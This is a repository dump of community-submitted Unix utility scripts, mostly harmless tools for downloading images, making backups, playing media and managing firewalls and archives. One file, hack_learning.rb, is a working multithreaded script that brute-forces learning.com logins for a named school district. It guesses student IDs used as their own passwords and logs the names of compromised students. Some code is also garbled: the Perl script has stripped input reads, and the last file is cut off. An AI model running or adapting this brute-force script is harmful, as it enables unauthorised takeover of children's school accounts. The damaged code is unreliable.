├── 4chan_download.sh ├── 4chan_thread_archiver.sh ├── README.md ├── automatic_backup_website.sh ├── backup_imp_files_dir.sh ├── browser_man_page.sh ├── color_values.sh ├── connected_domains ├── consoletube ├── define ├── extract.sh ├── freebsd_console_scrot.sh ├── hack_learning.rb ├── ipfw_dynamic.sh ├── listguid ├── pretty_uname.pl ├── pygtk-shutdown ├── radio_player.sh ├── second_screen.sh ├── share_internet_connection.sh ├── startmenu ├── train_subway_time.sh ├── twitter_stats.sh ├── volume.sh └── wpa_supplicant_starter.sh /4chan_download.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #submited by Shiru 3 | #depends on wget 4 | ################################################## 5 | # 6 | # 4chandl 7 | # 8 | # Script to download all images from a 4chan thread 9 | # By Shiru 10 | # 11 | ################################################## 12 | 13 | # 14 | # Globals 15 | # 16 | BOARD= 17 | THREAD= 18 | URL= 19 | TDIR= 20 | 21 | # 22 | # Fetch HTML 23 | # 24 | gethtml() 25 | { 26 | echo -n "Fetching $URL... " 27 | wget -O html.txt $URL -q 2>/dev/null 28 | if [ ! $? -eq 0 ] 29 | then 30 | echo "Failed" 31 | exit 3 32 | fi 33 | echo "Done" 34 | } 35 | 36 | # 37 | # Get all image urls and fetch them 38 | # 39 | fetchimages() 40 | { 41 | local regex="images\.4chan\.org/$BOARD/src/[^.]*\.[jpg|png|gif]*" 42 | local images="$(grep -o "$regex" html.txt | uniq)" 43 | 44 | echo "Fetching images from $URL:" 45 | for image in $images 46 | do 47 | echo -n "Downloading $image... " 48 | wget http://$image $q 2>/dev/null 49 | [ $? -eq 0 ] && echo "done" || echo "failed" 50 | done 51 | rm html.txt 52 | } 53 | 54 | # 55 | # Create directory for images 56 | # 57 | createdir() 58 | { 59 | if [ ! -d $TDIR ] 60 | then 61 | echo -n "Creating directory: $TDIR... " 62 | mkdir "$TDIR" 63 | if [ ! $? = 0 ] 64 | then 65 | echo "failed" 66 | exit 2 67 | fi 68 | echo "done" 69 | fi 70 | } 71 | 72 | # 73 | # print usage 74 | # 75 | usage() 76 | { 77 | if [ -z $2 ] 78 | then 79 | echo "Usage: $1 [-h ] [-b board] [-t thread] [-u url] " >&2 80 | exit 4 81 | else 82 | echo "Usage: $1 [-b board] [-t thread] [-u url]" 83 | exit 0 84 | fi 85 | } 86 | 87 | # 88 | # Check info 89 | # 90 | checkopts() 91 | { 92 | if [ -z $URL ] 93 | then 94 | if [ -z $THREAD ] 95 | then 96 | echo -n "Thread: " 97 | read THREAD 98 | fi 99 | 100 | if [ -z $BOARD ] 101 | then 102 | echo -n "Board: " 103 | read BOARD 104 | fi 105 | URL="http://boards.4chan.org/$BOARD/res/$THREAD" 106 | else 107 | # regex for opposite of [^/res] ?? 108 | BOARD=`echo $URL | grep -o "org/[^/res]*" | sed 's/org\///g'` 109 | THREAD=`echo $URL | grep -o "res/.*" | sed 's/res\///g'` 110 | fi 111 | if [ -z $BOARD ] 112 | then 113 | echo "Board not specified" >&2 114 | exit 3 115 | fi 116 | 117 | if [ -z $THREAD ] 118 | then 119 | echo "Thread not specified" >&2 120 | exit 3 121 | fi 122 | } 123 | 124 | # 125 | # Parse options 126 | # 127 | while getopts b:t:u:h opt 128 | do 129 | case "$opt" in 130 | b) 131 | BOARD="$OPTARG" 132 | ;; 133 | t) 134 | THREAD="$OPTARG" 135 | ;; 136 | u) 137 | URL="$OPTARG" 138 | ;; 139 | h) 140 | usage $0 141 | ;; 142 | \?) 143 | exit 1 144 | ;; 145 | esac 146 | done 147 | 148 | checkopts $0 149 | TDIR="$BOARD-$THREAD" 150 | 151 | # 152 | # Functions 153 | # 154 | createdir 155 | cd "$TDIR" 156 | gethtml 157 | fetchimages 158 | exit 0 159 | -------------------------------------------------------------------------------- /4chan_thread_archiver.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #submited by TheShadowFog 3 | $tnumbertnumber=`echo $1 | cut -c32-` 4 | mkdir $tnumber 5 | cd $tnumber 6 | while : 7 | do 8 | wget -e robots=off -E -nd -nc -np -r -k -H -D images.4chan.org,thumbs.4chan.org $1 9 | cp $tnumber.html index.html 10 | sleep 10 11 | done 12 | #backup 13 | #echo "thread number?" 14 | #read tnumber#mkdir 15 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Unixhub Useful Scripts 2 | 3 | ###About 4 | A collection of scripts gathered by unixhub users. 5 | 6 | ###TODO 7 | 8 | Add other goodies like color wrappers and command wrappers. 9 | -------------------------------------------------------------------------------- /automatic_backup_website.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | #submited by Jayro 3 | 4 | # --- Configuration --- 5 | NAME="unixhub__forum" # Name of backup 6 | DATE=`date +%b-%d-%G-%I%p` # Date format to append to file name 7 | 8 | DBNAME="xxxx" # Name of databse to backup 9 | DBUSER="xxxx" # Mysql user for above database 10 | DBPASS="xxxx" # Mysql password for above user 11 | 12 | FILES="/path/to/site/files/" # Path to files to include in backup 13 | 14 | SCPHOST="home.jr0d.com" # Address of remote host (IP or Domain name) 15 | SCPUSER="backups" # Account username for the above host 16 | SCPPORT="2222" # Port to use when making the SSH connection 17 | SCPDIR="~/" # Remote directory for the backup to be placed 18 | 19 | # NOTE: Be sure you set up your ssh key on the remote machine. 20 | # If you have not you will be asked for the password 21 | # each time the script runs. 22 | 23 | # -------------------- 24 | 25 | mysqldump -u $DBUSER -p$DBPASS $DBNAME > $FILES/$DBNAME.sql 26 | tar cfvz $NAME-$DATE.tar.gz $FILES 27 | scp -P $SCPPORT $NAME-$DATE.tar.gz $SCPUSER@$SCPHOST:$SCPDIR 28 | rm $NAME-$DATE.tar.gz 29 | rm $FILES/$DBNAME.sql 30 | 31 | echo "Backup complete!" 32 | -------------------------------------------------------------------------------- /backup_imp_files_dir.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #submited by Shiru 3 | 4 | # 5 | # Configuration 6 | # 7 | TARGETDIR="/media/DATA/backup" 8 | WORKDIR="/home/backup" 9 | 10 | BACKUPDIRS="/home /root" 11 | BACKUPFILES="/etc/fstab /etc/rc.conf" 12 | 13 | BACKUPDIR="" 14 | EXCLUDES="/home/niels/.gvfs /home/backup" 15 | 16 | # 17 | # Options 18 | # 19 | QUIET=false 20 | VERBOSE=false 21 | FORCE=false 22 | 23 | # 24 | # Tar command 25 | # 26 | tardir() 27 | { 28 | local excl="$2" 29 | local opts="" 30 | [ $VERBOSE = true ] && opts="-cPvzf" || opts="-cPzf" 31 | /bin/tar $excl $opts "$BACKUPDIR/$(basename $1).tar.gz" "$1" 32 | #echo "$BACKUPDIR/$(basename $1).tar.gz" "$1" "$2" 33 | [ $? -ne 0 ] && error "Failed to tar $1" 34 | } 35 | 36 | # 37 | # Print a message 38 | # 39 | message() 40 | { 41 | [ $QUIET = false ] && echo "$1" 42 | } 43 | 44 | # 45 | # An error has occured 46 | # 47 | error() 48 | { 49 | echo "ERROR: $1!" 50 | if [ $FORCE = false ]; then 51 | echo "exiting..." 52 | exit 1 53 | fi 54 | } 55 | 56 | # 57 | # Create a directory 58 | # 59 | mk_dir() 60 | { 61 | if [ ! -d $1 ]; then 62 | mkdir -p $1 63 | [ $? -ne 0 ] && error "Could not create $1" 64 | fi 65 | } 66 | 67 | # 68 | # Create directories 69 | # 70 | mk_dirs() 71 | { 72 | message "Creating directories" 73 | local today="$(date +%d-%m-%y)" 74 | BACKUPDIR=$WORKDIR/$today 75 | 76 | mk_dir $BACKUPDIR 77 | mk_dir $BACKUPDIR/files 78 | mk_dir $TARGETDIR 79 | } 80 | 81 | # 82 | # Tar dirs 83 | # 84 | backup_dirs() 85 | { 86 | for exclude in $EXCLUDES 87 | do 88 | excl="--exclude=$exclude $excl" 89 | done 90 | 91 | message "Tarring directories" 92 | for dir in $BACKUPDIRS 93 | do 94 | tardir "$dir" "$excl" 95 | done 96 | } 97 | 98 | # 99 | # Tar files 100 | # 101 | backup_files() 102 | { 103 | message "Copying files to $BACKUPDIR/files" 104 | 105 | for file in $BACKUPFILES 106 | do 107 | cp $file $BACKUPDIR/files 108 | [ $? -ne 0 ] && error "Failed to copy $file" 109 | done 110 | message "Tarring files" 111 | tardir $BACKUPDIR/files 112 | rm -rf $BACKUPDIR/files 113 | } 114 | 115 | # 116 | # Move directories 117 | # 118 | transfer_backup() 119 | { 120 | message "Moving backup to $TARGETDIR" 121 | mv $BACKUPDIR $TARGETDIR 122 | [ $? -ne 0 ] && error "Failed to move $BACKUPDIR" 123 | } 124 | 125 | # 126 | # Run backup 127 | # 128 | backup() 129 | { 130 | message "Starting backup script..." 131 | message "-------------------------" 132 | mk_dirs 133 | backup_dirs 134 | backup_files 135 | transfer_backup 136 | message "-------------------------" 137 | message "Backup has finished" 138 | } 139 | 140 | # 141 | # Start script 142 | # 143 | if [ $EUID -ne 0 ] 144 | then 145 | echo "This script must be run as root" 1>&2 146 | exit 2 147 | fi 148 | 149 | while getopts ":vqe" OPT 150 | do 151 | case $OPT in 152 | v) 153 | VERBOSE=true 154 | ;; 155 | q) 156 | QUIET=true 157 | ;; 158 | f) 159 | FORCE=true 160 | ;; 161 | \?) 162 | echo "Invalid option: -$OPTARG" >&2 163 | ;; 164 | esac 165 | done 166 | 167 | backup 168 | 169 | exit 0 170 | -------------------------------------------------------------------------------- /browser_man_page.sh: -------------------------------------------------------------------------------- 1 | # search and browse manpages interactively 2 | #submited by htor 3 | function apr { 4 | err="usage: $FUNCNAME [object]" 5 | test $# -ne 1 && echo $err && return 1 6 | 7 | IFS=$'\n' manpgs=( $(apropos $1 | grep ^$1) ) 8 | select line in ${manpgs[@]}; do 9 | n=${line%%) *}; n=${n#* (} 10 | man ${n} ${line%% *} 11 | done 12 | } 13 | -------------------------------------------------------------------------------- /color_values.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | #submited by crshd 3 | 4 | xrdb=($(xrdb -query | grep "color[0-9]*:" | sort | cut -f 2-)) 5 | 6 | declare -A color 7 | index=0 8 | for name in black brightgreen brightyellow brightblue brightmagenta brightcyan brightwhite red green yellow blue magenta cyan white grey brightred; do 9 | color[${name}]=${xrdb[$index]} 10 | ((index++)) 11 | done 12 | 13 | echo "${color['black']} black " 14 | echo "${color['red']} red " 15 | echo "${color['green']} green " 16 | echo "${color['yellow']} yellow " 17 | echo "${color['blue']} blue " 18 | echo "${color['magenta']} magenta " 19 | echo "${color['cyan']} cyan " 20 | echo "${color['white']} white " 21 | 22 | echo "${color['grey']} grey " 23 | echo "${color['brightred']} brightred " 24 | echo "${color['brightgreen']} brightgreen " 25 | echo "${color['brightyellow']} brightyellow " 26 | echo "${color['brightblue']} brightblue " 27 | echo "${color['brightmagenta']} brightmagenta " 28 | echo "${color['brightcyan']} brightcyan " 29 | echo "${color['brightwhite']} brightwhite " 30 | -------------------------------------------------------------------------------- /connected_domains: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | # This script will list all the domains you are currently connected to 3 | # Requires dig 4 | 5 | c=$( netstat --tcp --numeric | awk 'NR>2 {print $5}'| sort -n -t : -k 2,2 | uniq | wc -l) 6 | d=$( echo $c ) 7 | if [ "$d" -lt "23" ] && [ "$d" -gt "0" ]; then 8 | 9 | echo "Domains / Nameservers" 10 | 11 | x=$( netstat --tcp --numeric | awk 'NR>2 {print $5}'| sort -n -t : -k 2,2 | uniq ) 12 | y=$( netstat --tcp --numeric | awk 'NR>2 {print $5}'| sort -n -t : -k 2,2 | uniq | sed -e 's/\:.*//' ) 13 | 14 | 15 | 16 | a=$( for i in $y; do 17 | dig @8.8.8.8 -x $i +short | sed 's/[.]$//g' 18 | done ) 19 | 20 | b=$( for i in $x; do 21 | dig @8.8.8.8 -x $i | grep -e "SOA" -e "PTR" | awk '{print $5}' | grep "." | sed 's/[.]$//g' 22 | done ) 23 | 24 | echo -e "$a \n$b" | grep "." | cut -c 1-21 | sort | uniq 25 | echo " " 26 | fi 27 | 28 | exit -------------------------------------------------------------------------------- /consoletube: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | 3 | ############################################################################### 4 | # 5 | # Consoletube, a command-line YouTube client that uses VLC as its backend. 6 | # 7 | # Dependencies : Lynx, **Latest** version of VLC 8 | # 9 | # Usage : consoletube [-c|-n] [Search query] 10 | # consoletube [-p] [Youtube playlist URL] 11 | # 12 | # Run `consoletube -h` for help 13 | # 14 | # http://bogh.us/code/consoletube/ 15 | # 16 | ############################################################################### 17 | 18 | 19 | # Define the VLC binary to use by default 20 | vlcbin=$(which vlc) 21 | 22 | # Function to collect YouTube video URLs and pipe them to VLC 23 | # Will execute this at the end of script 24 | function ytProcess { 25 | lynx -dump "$ytURL" | \ 26 | sed -n '/^References$/,$p' | \ 27 | grep -E '[[:digit:]]+\.' | \ 28 | awk '{print $2}' | \ 29 | grep "watch?" | \ 30 | grep -E -v "&feature=(results|fvs[tr]|plpp(_play_all|&context))" | \ 31 | uniq | \ 32 | tr '\n' ' ' | \ 33 | xargs ${vlcbin} 34 | 35 | exit 0 36 | } 37 | 38 | # Various command-line options 39 | if [ $# -ge 1 ] ; then 40 | case "$1" in 41 | # Use VLC's curses interface. Useful if you don't have X11 running. 42 | # Doesn't display video and is kinda buggy. 43 | -c) vlcbin="$(which nvlc) --nocolor --novideo" 44 | shift 45 | ;; 46 | # Don't display video - saves CPU cycles 47 | -n) vlcbin="$(which vlc) --novideo" 48 | shift 49 | ;; 50 | # Use a premade YouTube playlist or user feed instead of keywords 51 | -p) ytURL="$2" 52 | ytProcess 53 | ;; 54 | # Use Youtube playlist, no video 55 | -np|-pn) vlcbin="$(which vlc) --novideo" 56 | ytURL="$2" 57 | ytProcess 58 | ;; 59 | # Use Youtube playlist, Curses interface 60 | -cp|-pc) vlcbin="$(which nvlc) --nocolor --novideo" 61 | ytURL="$2" 62 | ytProcess 63 | ;; 64 | # Display help message 65 | -h|--help) echo "Usage: $0 [-c|-n] [Search query]" 66 | echo " -n use default VLC interface, no video" 67 | echo " -c use VLC's Curses interface [BUGGY!], no video" 68 | echo " -p Play a YouTube playlist or user feed instead of a search string" 69 | echo " -pn Play Youtube playlist, no video" 70 | echo " -pc Play Youtube playlist, Curses interface" 71 | echo " -h, --help print this help message" >&2; exit 1 72 | esac 73 | fi 74 | 75 | # Input keywords. Prompt the user if no keywords provided in the command. 76 | if [ "$1" ]; then 77 | keyWords="$*" 78 | else 79 | echo "Enter keywords:" 80 | read keyWords 81 | if [ keyWords == "" ]; then 82 | echo "Please enter keyword(s)" 83 | exit 1 84 | fi 85 | fi 86 | 87 | # Youtube URL to use. This URL will be used with the keywords 88 | # unless the '-p' (playlist) option was supplied 89 | ytURL="http://youtube.com/results?search_query=$keyWords" 90 | 91 | # Execute the function we made at the beginning 92 | ytProcess 93 | -------------------------------------------------------------------------------- /define: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | #submited by venam 3 | #depends on lynx 4 | 5 | use warnings; 6 | use strict; 7 | 8 | unless ($ARGV[0]) { 9 | die "No Arg passed"; 10 | } 11 | my $arg; 12 | 13 | foreach $arg ( @ARGV) { 14 | open LYNX, "lynx -source http://m.dictionary.com/t/?q=$arg |" or die $!; 15 | 16 | $_ = ""; 17 | $_ = until /Definition/ || /0 results for/; 18 | 19 | if (/0 results for/) { 20 | die "No answer"; 21 | } 22 | my $head = ""; 23 | $head = until $head =~ /small/; 24 | 25 | $head =~ s|

||; 26 | $head =~ s|||; 27 | 28 | my @synonyms; 29 | while (1) { 30 | until ( /anchor / || /

/ ) { 31 | $_ = ; 32 | chomp $_; 33 | } 34 | if (/

/ ) { 35 | last; 36 | } 37 | else { 38 | $_ =~ /([^<]*); 41 | chomp $_; 42 | } 43 | } 44 | 45 | print "\n\e[1;35m|--Definition of $arg--|\e[0;0m\n$head"; 46 | print "\n\e[0;35m|--Synonyms of $arg--|\e[0;0m\n"; 47 | foreach (@synonyms) { 48 | print $_,"\n"; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /extract.sh: -------------------------------------------------------------------------------- 1 | #submited by crshd 2 | #!/usr/bin/env bash 3 | 4 | case $1 in 5 | e) 6 | case $2 in 7 | *.tar.bz2) tar xvjf $2 ;; 8 | *.tar.gz) tar xvzf $2 ;; 9 | *.bz2) bunzip2 $2 ;; 10 | *.rar) unrar x $2 ;; 11 | *.gz) gunzip $2 ;; 12 | *.tar) tar xvf $2 ;; 13 | *.tbz2) tar xvjf $2 ;; 14 | *.tgz) tar xvzf $2 ;; 15 | *.zip) unzip $2 ;; 16 | *.Z) uncompress $2 ;; 17 | *.7z) 7z x $2 ;; 18 | *) echo "'$2' kann nicht mit >ark< entpackt werden" ;; 19 | esac ;; 20 | 21 | c) 22 | case $2 in 23 | *.tar.*) 24 | arch=$2 25 | shift 2 26 | tar cvf ${arch%.*} $@ 27 | 28 | case $arch in 29 | *.gz) gzip -9r ${arch%.*} ;; 30 | *.bz2) bzip2 -9zv ${arch%.*} ;; 31 | esac ;; 32 | 33 | *.rar) shift; rar a -m5 -r $@; rar k $1 ;; 34 | *.zip) shift; zip -9r $@ ;; 35 | *.7z) shift; 7z a -mx9 $@ ;; 36 | *) echo "Kein gültiger Archivtyp" ;; 37 | esac ;; 38 | 39 | *) 40 | echo "WATT?" ;; 41 | esac 42 | -------------------------------------------------------------------------------- /freebsd_console_scrot.sh: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/sh 2 | #submited by shix 3 | 4 | # Script to take console screenshots 5 | # Dependencies: /usr/ports/graphics/scr2png 6 | # OS: FreeBSD 7 | 8 | while getopts s: OPTION 9 | do 10 | case ${OPTION} in 11 | s) LOGFILE=${OPTARG};; 12 | h) 13 | exit 2;; 14 | esac 15 | done 16 | 17 | if [[ "$LOGFILE" = *[.png] ]] 18 | then 19 | vidcontrol -p < /dev/ttyv0 > ~/shot.src 20 | 21 | scr2png < shot.src > ~/$LOGFILE 22 | 23 | rm ~/shot.src 24 | else 25 | vidcontrol -p < /dev/ttyv0 > ~/shot.src 26 | 27 | scr2png < shot.src > ~/console_screenshot.png 28 | 29 | rm ~/shot.src 30 | fi 31 | -------------------------------------------------------------------------------- /hack_learning.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # learning.com numerical ID brute force script by L8D 3 | # Written sometime during 2013 4 | # 5 | # This script numerically bruteforces learning.com's login page with: 6 | # Username: {46,07} 7 | # Password: 8 | # District: Round Rock ISD 9 | # by default, once it successfully logs in with an "ID", it appends that ID to the logfile, by default is "scriptlog.txt" 10 | # 11 | # Usage: ./[scriptname].rb 12 | # 13 | # Also, I recommend running this with jruby for better thread concurrency 14 | require 'mechanize' 15 | require 'colorize' 16 | 17 | ## Config 18 | 19 | # Log file 20 | LOG_FILE = "scriptlog.txt" 21 | 22 | # Prefix number for usernames...Every school has one, and usually uses them to login to the e-libraries 23 | # The default is for a school in RRISD 24 | LOGIN_SEQ = ["46"] 25 | 26 | # School district 27 | LOGIN_DIS = "Round Rock ISD" 28 | 29 | ## Program 30 | 31 | def do_req num, seq, dis 32 | a = Mechanize.new 33 | r = {} 34 | a.get 'http://platform.learning.com/LoginNew.htm' do |page| 35 | # Submit the login form 36 | page.form_with do |f| 37 | f.learningUserName = seq + num.to_s 38 | f.learningPassword = num.to_s 39 | f.learningDistrictName = dis 40 | end.click_button 41 | 42 | after_page = page.forms.first.submit 43 | r[:success] = !(after_page.content.include? 'Error') 44 | end 45 | 46 | return r unless r[:success] 47 | xml_address = 'http://platform.learning.com/Services/Ajax/Student/Student.asmx/GetAllDashboardInfo' 48 | xml = a.post xml_address, xml_address 49 | r[:name] = xml.at('Name').children[0].content 50 | r 51 | end 52 | 53 | # Arg parser 54 | if ARGV.length == 0 55 | puts "No args" 56 | exit 57 | end 58 | 59 | 60 | # Mutlithread 61 | threads = [] 62 | 63 | class InsNum 64 | attr_reader :value 65 | def initialize number 66 | @value = number - 1 67 | end 68 | 69 | def get_value 70 | @value += 1 71 | @value 72 | end 73 | end 74 | 75 | current_id = InsNum.new ARGV[0].to_i 76 | 77 | 10.times do 78 | threads << Thread.new do 79 | while current_id.value < 999999 do 80 | x = current_id.get_value 81 | puts "?".blue + " #{x}" 82 | LOGIN_SEQ.each do |seq| 83 | r = do_req x, seq, LOGIN_DIS 84 | if r[:success] 85 | open LOG_FILE, "a" do |log_file| 86 | log_file.puts "#{seq} #{x} #{r[:name]}" 87 | end 88 | puts "!".red + " #{x} #{seq} #{r[:name]}" 89 | end 90 | end 91 | end 92 | end 93 | end 94 | 95 | threads.each do |thread| 96 | thread.join 97 | end 98 | -------------------------------------------------------------------------------- /ipfw_dynamic.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | #submited by shiru 3 | ################################################################################​ 4 | # ipfw_dynamic.sh 5 | ################################################################################​ 6 | 7 | # 8 | # Get current dynamic firewall rules 9 | # IP or port can be specified 10 | # 11 | # Example: 12 | # Get all rules of port 80: ipfw_dynamic.sh -p 80 13 | # Repeat all rules for 443 at IP 193.110.81.110: ipfw_dynamic.sh repeat -p 443 -ip 193.110.81.110 14 | # Repeat all rules: ipfw_dynamic.sh repeat 15 | # 16 | 17 | ################################################################################​ 18 | # FUNCTIONS 19 | ################################################################################​ 20 | ipfw_dynamic() 21 | { 22 | local ip="$1" 23 | local port="$2" 24 | local awkp="{print \$7,\"-\",\$11}" 25 | 26 | clear 27 | echo "** DYNAMIC RULES: $(date +%T) **" 28 | 29 | if [ ! "$ip" = "" ] && [ ! "$port" = "" ]; then 30 | awkp="{if (\$11 == \"$port\" && \$7 == \"$ip\") print \$7,\"-\",\$11}" 31 | echo " Connections for $ip on port $port" 32 | echo 33 | elif [ ! "$ip" = "" ]; then 34 | awkp="{if (\$7 == \"$ip\") print \$11}" 35 | echo " Ports used by $ip" 36 | echo 37 | elif [ ! "$port" = "" ]; then 38 | awkp="{if (\$11 == \"$port\") print \$7}" 39 | echo " IPs using port $port" 40 | echo 41 | else 42 | echo " All rules" 43 | echo 44 | fi 45 | 46 | eval "ipfw -d list | grep 'tcp\|udp' | grep -v any | awk '$awkp' | sort | uniq -c | sort -nr" 47 | } 48 | 49 | print_usage() 50 | { 51 | echo "usage: ipfw_dynamic [ -ip -p repeat ]" 52 | echo " options:" 53 | echo " -ip ip address" 54 | echo " -p port" 55 | echo " repeat run until q is pressed" 56 | } 57 | 58 | run() 59 | { 60 | local repeat=$1 61 | local ip="$2" 62 | local port="$3" 63 | local keypress="" 64 | 65 | ipfw_dynamic "$ip" "$port" 66 | 67 | while [ $repeat = true ]; do 68 | ipfw_dynamic "$ip" "$port" 69 | echo 70 | echo "Press 'q' to exit" 71 | keypress=`stty -icanon min 0 time 30; dd bs=1 count=1 2>/dev/null` 72 | [ "$keypress" = "q" ] && repeat=false 73 | done 74 | } 75 | 76 | main() 77 | { 78 | local port="" 79 | local ip="" 80 | local repeat=false 81 | local option="$1" 82 | local wrong_format=false 83 | local i=1 84 | 85 | [ ! "$6" = "" ] && print_usage && exit 0 86 | while [ ! "$option" = "" ]; do 87 | if [ "$ip" = "set" ]; then 88 | ip="$option" 89 | elif [ "$port" = "set" ]; then 90 | port="$option" 91 | elif [ "$option" = "-ip" ]; then 92 | ip="set" 93 | elif [ "$option" = "-p" ]; then 94 | port="set" 95 | elif [ "$option" = "repeat" ]; then 96 | repeat=true 97 | else 98 | wrong_format=true 99 | break 100 | fi 101 | i=`expr $i + 1` 102 | eval "option=\"\$$i\"" 103 | done 104 | 105 | [ $wrong_format = true ] && print_usage || run $repeat "$ip" "$port" 106 | exit 0 107 | } 108 | 109 | 110 | ################################################################################​ 111 | # Start script 112 | ################################################################################​ 113 | # 114 | # Maximum 5 parameters: -ip, ip, -p, port, repeat 115 | # $6 not empty results in an error 116 | main "$1" "$2" "$3" "$4" "$5" "$6" 117 | -------------------------------------------------------------------------------- /listguid: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | # Purpose: List all normal user and system accounts in the system. Tested on RHEL / Debian Linux 3 | # Author: Vivek Gite , under GPL v2.0+ 4 | # ----------------------------------------------------------------------------------- 5 | _l="/etc/login.defs" 6 | _p="/etc/passwd" 7 | 8 | ## get mini UID limit ## 9 | l=$(grep "^UID_MIN" $_l) 10 | 11 | ## get max UID limit ## 12 | l1=$(grep "^UID_MAX" $_l) 13 | 14 | ## use awk to print if UID >= $MIN and UID <= $MAX and shell is not /sbin/nologin ## 15 | echo "----------[ Normal User Accounts ]---------------" 16 | awk -F':' -v "min=${l##UID_MIN}" -v "max=${l1##UID_MAX}" '{ if ( $3 >= min && $3 <= max && $7 != "/sbin/nologin" ) print $0 }' "$_p" 17 | 18 | 19 | 20 | echo "" 21 | echo "----------[ System User Accounts ]---------------" 22 | awk -F':' -v "min=${l##UID_MIN}" -v "max=${l1##UID_MAX}" '{ if ( !($3 >= min && $3 <= max && $7 != "/sbin/nologin")) print $0 }' "$_p" 23 | 24 | -------------------------------------------------------------------------------- /pretty_uname.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | #submited by crshd 3 | #depends on http://search.cpan.org/~woldrich/Term-ExtendedColor-0.224/lib/Term/ExtendedColor.pm 4 | 5 | 6 | use strict; 7 | use warnings FATAL => 'all'; 8 | use vars qw($VERSION); 9 | 10 | use feature 'switch'; 11 | use Term::ExtendedColor qw(:attributes); 12 | 13 | my @uname = split(' ', `uname -srnmi`); 14 | 15 | print fg('1', $uname[0]); # kernel 16 | print fg('0', ' | '); 17 | print fg('2', $uname[2]); # kernel version 18 | print fg('0', ' | '); 19 | print fg('3', $uname[1]); # hostname 20 | print fg('0', ' | '); 21 | print fg('5', $uname[4]); # platform 22 | print fg('0', ' | '); 23 | print fg('4', $uname[3]); # arch 24 | print "\n"; 25 | -------------------------------------------------------------------------------- /pygtk-shutdown: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # Good for WM that don't have logoff options. Requires pygtk 4 | # pygtk-shutdown - logout/reboot/shutdown your computer with an 5 | # easy-to-use dialog, with minimal dependencies 6 | # Version: 1.0 7 | # Copyright (C) 2011 doorknob60 8 | # 9 | # This program is free software: you can redistribute it and/or modify 10 | # it under the terms of the GNU General Public License as published by 11 | # the Free Software Foundation, either version 3 of the License, or 12 | # (at your option) any later version. 13 | # 14 | # This program is distributed in the hope that it will be useful, 15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | # GNU General Public License for more details. 18 | # 19 | # You should have received a copy of the GNU General Public License 20 | # along with this program. If not, see . 21 | 22 | import pygtk 23 | pygtk.require("2.0") 24 | import gtk 25 | import os 26 | import sys 27 | 28 | LOGOUT_COMMAND = "killall X" 29 | 30 | class ShutdownDialog: 31 | def __init__(self): 32 | iconsize = gtk.icon_size_register("64x64", 64, 64) 33 | 34 | self.window = gtk.Window() 35 | self.window.set_decorated(False) 36 | self.window.set_keep_above(True) 37 | 38 | self.frame1 = gtk.Frame() 39 | self.frame2 = gtk.Frame() 40 | 41 | self.layoutBox = gtk.VBox(False, 5) 42 | self.layoutBox.set_border_width(5) 43 | self.buttonsBox1 = gtk.HBox(True, 5) 44 | self.buttonsBox2 = gtk.HBox(True, 5) 45 | self.buttonsBox1.set_border_width(5) 46 | self.buttonsBox2.set_border_width(5) 47 | self.cancelButtonAlignment = gtk.Alignment(1.0, 0.5) 48 | 49 | self.logoutButton = gtk.Button("Logout") 50 | ico = gtk.Image() 51 | ico.set_from_icon_name("gnome-logout", iconsize) 52 | self.logoutButton.set_image(ico) 53 | 54 | self.restartButton = gtk.Button("Restart") 55 | ico = gtk.Image() 56 | ico.set_from_icon_name("gnome-session-reboot", iconsize) 57 | self.restartButton.set_image(ico) 58 | 59 | self.haltButton = gtk.Button("Shutdown") 60 | ico = gtk.Image() 61 | ico.set_from_icon_name("gnome-shutdown", iconsize) 62 | self.haltButton.set_image(ico) 63 | 64 | self.cancelButton = gtk.Button(None, gtk.STOCK_CANCEL) 65 | 66 | self.buttonsBox1.pack_start(self.logoutButton) 67 | self.buttonsBox2.pack_start(self.restartButton) 68 | self.buttonsBox2.pack_start(self.haltButton) 69 | self.cancelButtonAlignment.add(self.cancelButton) 70 | self.frame1.add(self.buttonsBox1) 71 | self.frame2.add(self.buttonsBox2) 72 | self.layoutBox.pack_start(self.frame1) 73 | self.layoutBox.pack_start(self.frame2) 74 | self.layoutBox.pack_start(self.cancelButtonAlignment) 75 | 76 | self.window.add(self.layoutBox) 77 | 78 | self.window.show_all() 79 | 80 | self.window.set_gravity(gtk.gdk.GRAVITY_NORTH_WEST) 81 | w, h = self.window.get_size() 82 | self.window.move(gtk.gdk.screen_width() / 2 - w / 2, 83 | gtk.gdk.screen_height() / 2 - h / 2) 84 | 85 | self.window.connect("delete-event", self.terminate) 86 | self.cancelButton.connect("clicked", self.terminate) 87 | 88 | self.logoutButton.connect("clicked", self.logout) 89 | self.restartButton.connect("clicked", self.reboot) 90 | self.haltButton.connect("clicked", self.shutdown) 91 | 92 | def main(self): 93 | gtk.main() 94 | 95 | def terminate(self, widget = None, data = None): 96 | gtk.main_quit() 97 | 98 | def logout(self, widget = None, data = None): 99 | os.system(LOGOUT_COMMAND) 100 | gtk.main_quit() 101 | 102 | def shutdown(self, widget = None, data = None): 103 | os.system("sudo halt &") 104 | gtk.main_quit() 105 | 106 | def reboot(self, widget = None, data = None): 107 | os.system("sudo reboot &") 108 | gtk.main_quit() 109 | 110 | def main(): 111 | shutdownDialog = ShutdownDialog() 112 | shutdownDialog.main() 113 | 114 | if __name__ == "__main__": 115 | LOGOUT_COMMAND = os.getenv("LOGOUT_COMMAND", LOGOUT_COMMAND) 116 | 117 | if len(sys.argv) > 1: 118 | 